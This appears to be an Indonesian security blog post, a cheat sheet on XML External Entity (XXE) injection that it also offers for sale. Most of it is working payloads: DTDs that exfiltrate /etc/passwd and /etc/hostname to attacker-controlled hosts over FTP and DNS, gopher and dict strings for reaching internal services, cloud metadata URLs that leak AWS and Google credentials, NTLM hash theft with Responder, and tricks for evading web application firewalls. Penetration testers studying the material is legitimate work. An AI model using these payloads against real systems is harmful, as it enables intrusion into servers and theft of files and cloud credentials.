Kumpulan List Cheat XXE

XML adalah dokumen terstruktur dengan baik yang digunakan untuk menyimpan informasi dan digunakan sebagai definisi kumpulan data. Dalam XML kita juga

XML adalah dokumen terstruktur dengan baik yang digunakan untuk menyimpan informasi dan digunakan sebagai definisi kumpulan data. Dalam XML kita juga dapat mendefinisikan skema elemen, menggunakan elemen data bersarang, mengambil detail tersebut menggunakan parser XML.

Sebagai contoh:


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
<!ELEMENT users (user)+>
<!ELEMENT user (id,username,password)>
<!ELEMENT id (#PCDATA)>
<!ELEMENT username (#PCDATA)>
<!ELEMENT password (#PCDATA)>
]>
<users>
<user>
<id>1</id>
<username>Rahul</username>
<password>$%@#!@%xzcv5354</password>
</user>
<user>
<id>2</id>
<username>Faraz</username>
<password>j@ff@0ck$l</password>
</user>
<user>
<id>3</id>
<username>Armaan</username>
<password>armaan</password>
</user>
</users>

XML di atas memiliki DTD yang ditentukan di mana tipe data untuk XML ditentukan. Seluruh DTD juga dapat didefinisikan dalam file eksternal. Ada sesuatu yang disebut "ENTITIES" di DTD yang dapat digunakan untuk menggantikan teks.


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
<!ENTITY x "Faraz" >
<!-- Here "x" is the entity name which is nothing but the substituion for the string "Faraz" -->
]>
<users>
<user>
<id>2</id>
<username>&x;</username> <!-- here the entity "x" is a variable storing the value "Faraz"-->
<password>$%@#!@%xzcvs546345354</password>
</user>
</users>

ENTITIES dapat digunakan untuk mendefinisikan DTD dalam file eksternal yang dapat berupa URL relatif atau URL eksternal. Di sinilah XXE masuk. Memiliki DTD eksternal memungkinkan penyerang untuk membuat permintaan eksternal dari sisi server, yang dilakukan dengan menggunakan kata kunci "SYSTEM" diikuti dengan jalur atau URL file DTD eksternal.


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
<!ENTITY x SYSTEM "http://securityidiots/evil.dtd" >
]>
<users>
<user>
<id>2</id>
<username>&x;</username> <!-- here the entity "x" is calling our external entity-->
<password>$%@#!@%xzcvs546345354</password>
</user>
</users>

Entitas ini hanya dapat diganti di dalam struktur XML. Namun, ada sesuatu yang disebut entitas parameter yang dapat didefinisikan serta disebut di dalam DOCTYPE itu sendiri. Mereka dilambangkan dengan "% " diikuti dengan nama entitas.


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
<!ENTITY % x SYSTEM "http://securityidiots/evil.dtd" > %x; <!-- The Entity "x" is called over here only -->
]>
<users>
<user>
<id>2</id>
<username>Faraz</username>
<password>$%@#!@%xzcvs546345354</password>
</user>
</users>

Jenis Skenario XXE

Berikut ini adalah beberapa jenis skenario XXE yang mungkin sering anda temui pada saat anda melakukan penetration test.

  • XXE berbasis respons

Terjadi ketika permintaan Injected memberikan data sebagai tanggapan.

  • XXE Berbasis Kesalahan

Terjadi ketika tidak ada respons dari entitas XML tetapi kami dapat melihat respons dengan memicu kesalahan.

  • Blind XXE

Terjadi ketika tidak ada kesalahan atau respons, tetapi XML diurai di sisi server.

Sumber Injeksi XXE

Berikut ini adalah beberapa sumber File/Input yang dapat digunakan oleh penyerang untuk menyuntikkan XML jahatnya.

  1. XML
  2. PPT(X)
  3. XLS(X)
  4. PDF
  5. ODT
  6. DOK(X)
  7. SSRF
  8. GPX
  9. SAML
  10. SVG
  11. Modifikasi JSON KE XML
  12. Umpan.RSS
  13. XSD (Definisi Skema XML)
  14. XMP
  15. WA
  16. XSLT

Protokol yang Dapat Dieksploitasi

Karena, kami dapat menggunakan protokol http untuk mengambil file DTD eksternal, kami mungkin dapat menggunakan protokol selain HTTP tergantung pada XML Parser Library dan Server Side Language. Protokol yang dapat membantu kami mengeksploitasi Injeksi XXE lebih lanjut adalah:


File: could be used to read local file on the server
file:///etc/passwd

HTTP(s): useful in OOB Data Exfiltration
http(s)://securityidiots.com/lol.xml

FTP: useful in OOB Data Exfiltration & hitting the internal FTP service which is behind NAT
ftp://securityidiots.com/lol.xml

SFTP: hitting the internal SFTP service which is behind NAT
sftp://securityidiots.com:11111/

TFTP: hitting the internal TFTP service which is behind NAT
tftp://securityidiots.com:12346/lol.xml

DICT : could also be used to make requests to internal services
dict://ip:22/_XXX
dict://ip:6379/_XXX

NETDOC: This could be used as an alternative to file in JAVA based Servers.
netdoc:/etc/passwd

LDAP: could be used to query internal LDAP Service.
ldap://localhost:11211/%0astats%0aquit

GOPHER:
gopher://<host>:<port>/_<gopher-path>
gopher://<host>:25/%0AHELO ... (executing commands on internal SMTP Service)

Making internal HTTP Requests(GET,POST..etc):
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body

PHP: if PHP is installed we can use PHP Wrappers to read PHP source codes as Base64 content.
php://filter/convert.base64-encode/resource=index.php

Data:
data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk

Metode Eksploitasi:

Metode yang dapat Anda gunakan untuk meningkatkan dampak XXE Anda dan mengubah SSRF menjadi sesuatu yang bermanfaat.


Stealing Net NTLM Hashes : file://attacker's remote IP Running Responder
1. Run responder on Attacker's server which turns on the SMB Server.
2. Use file://attackercontrolled.com/xyz.txt which inturn would try to authenticate using NET-NTLM Credentials with attacker's SMB Server ran by Responder and we get the Net-NTML Hashes which we could crack offline.

PORT Scanning
1. Differentiate Open/Closed ports based on response content or response time.

Internal Network Mapping.
1. Differentiate existing/nonexisting IPs based on response content or response time.

Metadata API :
Usually applications are hosted on cloud based services such as Google, Digital Ocean, Alibaba, Amazon etc. These cloud providers also provides API endpoints which can be used to interact with the configuration, information extraction using these endpoints. Here is a list of few providers and their Metadata API.

Google, Digital Ocean, Alibaba, Amazon, Kubernetes, Docker, Azure
Amazon :
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/{rolename} Leaks AWS Credentials which can give read/write access to buckets/EC2 instances leading to RCE
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/user-data
Google :
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
Digital Ocean :
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
Alibaba :
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
Kubernetes :
https://kubernetes.default.svc.cluster.local
https://kubernetes.default
Docker :
http://127.0.0.1:2375/v1.24/containers/json
Azure :
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
Packetcloud:
https://metadata.packet.net/userdata
OpenStack/RackSpace :
http://169.254.169.254/openstack

Referensi :

Eksploitasi Out of Band

Berikut ini adalah beberapa cara ekstraksi data menggunakan DNS, FTP, HTTP dll.

  • 1). Melalui FTP:

di Java 1.5+ Anda tidak dapat mengirim data yang memiliki karakter yang tidak dapat dicetak seperti baris baru, carriage return, dll. melalui HTTP. Namun, mengirimkannya melalui FTP tidak menjadi masalah, penyerang dapat mengatur server FTP dan mendengarkan data yang masuk.


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
<!ENTITY % x SYSTEM "http://securityidiots/evil.dtd" > %x; %param1;
]>
<users>
<user>
<id>2</id>
<username>&exfil;</username>
<password>$%@#!@%xzcvs546345354</password>
</user>
</users>

DTD Eksternal untuk Meng-host evil.dtd:


<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://AttackerIP:2222/%data;'>">

Ref: https://skavans.ru/en/2017/12/02/xxe-oob-extracting-via-httpftp-using-single-opened-port/

  • 2). Over DNS

Kami mungkin tidak dapat sepenuhnya mengekstraksi file Namun, kami dapat mengambil sebagian konten. Agar teknik ini berfungsi, Anda harus dapat mengunggah file yang berisi konten DTD jahat Anda, di server yang rentan.

Unggah file dengan konten berikut:


<!ENTITY % data SYSTEM "file:///etc/hostname">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM '%data;.attacker.com'>">

Dan dalam muatan XXE anda, gunakan jalur relatif ke DTD yang diunggah


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
<!ENTITY % x SYSTEM "../../u/securityidiots/uploads/evil.dtd" > %x; %param1;
]>
<users>
<user>
<id>2</id>
<username>&exfil;</username>
<password>$%@#!@%xzcvs546345354</password>
</user>
</users>

dan di Server DNS Anda, catat semua resolusi DNS wildcard untuk membaca input yang diteruskan melalui Injeksi XXE.

OOB not allowed:


Content Spoofing on domain/subdomain:
There may be cases where OOB HTTP is not allowed and you are able to find a way to save or control the contents on some page on the vulnerable application. One could write his evil DTD and use it with relative path to exploit the XXE over DNS.
File Upload on Domain/Subdomain:
If OOB HTTP is not allowed and only a few whitelisted domains are allowed. In that case you can look for unrestricted file upload on the application or subdomains of the vulnerable application and host the DTD file there itself then we can exfiltrate data over DNS.

SSRF on Domain/Subdomain:
If we manage to find a GET based full response SSRF over some whitelisted domains where we can control the whole content on the page. We can use it to exploit XXE over DNS.
Internal Local DTD includes:
This is a very neat trick which can help to exploit XXE in worst cases using internal DTD files on the server.

Reference:

Exploitable Services


Redis: Port 6379
-https://maxchadwick.xyz/blog/ssrf-exploits-against-redis
-https://dzmitry-savitski.github.io/2018/07/redis-ssrf-exploits-without-new-line

HashiCorp Consul: Port 8500
-https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html

In case of Response based XXE, we can use unauthenticated DB API calls such as Couch DB API, Mongo DB.
- https://www.netsparker.com/blog/web-security/exploiting-csrf-vulnerability-mongodb-rest-api/
- https://hackerone.com/reports/398641

Memcached - Port 11211
- https://medium.com/@d0znpp/ssrf-memcached-and-other-key-value-injections-in-the-wild-c8d223bd856f11211

Zabbix - Port 10050
- https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit (Zabbix Agentd)

Solr- Port 8983
- https://github.com/artsploit/solr-injection

Lihat juga alat hebat ini untuk mengeksploitasi layanan tersebut: https://github.com/tarunkant/Gopherus using gopher://

Bypass WAF XXE

<!ENTITY xxe SYSTEM "URL"> Biasanya kata kunci "SYSTEM" diblokir oleh banyak WAF, Dalam hal ini Anda dapat menggunakan kata kunci "PUBLIC" sebagai alternatif yang telah membantu melewati WAF dan Exploit XXE karena SYSTEM dan PUBLIC secara praktis sinonim

Menggunakan "PUBLIK" atau Entitas Parameter


<!ENTITY % xxe PUBLIC "Random Text" "URL">

Entitas Umum:


<!ENTITY xxe PUBLIC "Any TEXT" "URL">

Ubah encoding misalnya pada UTF-16, UTF-7, dll.


<?xml version="1.0" encoding="UTF-16"?> and then you can put the content of XML as of UTF-16 character set which would not be detected by WAFs.

merusak nama doctype/entitas (payload XXE):


<!DOCTYPE :. SYSTEM "http://"
<!DOCTYPE :_-_: SYSTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"
Remove <?xml version="1.0" encoding="UTF-16"?>
This is has worked for me numerous times as many WAF blocks "<?xml" or just "<?" together. However, removing doesn't cause issue with the parsers usually.

Menambahkan ruang sebelum protokol


<!DOCTYPE :. SYTEM " http://evil.com/1.dtd"

Gunakan netdoc:/ sebagai ganti file:///


<!ENTITY % data SYSTEM "netdoc:/etc/passwd">

Labs: https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files

Pembelian

Kumpulan List Cheat XXE
Rp. 20rb / $2
*Pembelian dapat melalui Gopay, OVO dan lainnya detail info

Metode pembayaran

Bank Transfer Paypal
sudah membayar? konfirmasi di sini
IT Security, content creator, menulis di blogger sejak tiga tahun yang lalu.

Posting Komentar

Tinggalkan komentar sesuai topik tulisan, centang Notify me untuk mendapatkan notifikasi via email ketika komentar kamu di balas.
Masukkan URL Gambar atau Potongan Kode, atau Quote, lalu klik tombol yang kamu inginkan untuk di-parse. Salin hasil parse lalu paste ke kolom komentar.


image quote pre code
© subangXploits. All rights reserved. Premium By Raushan Design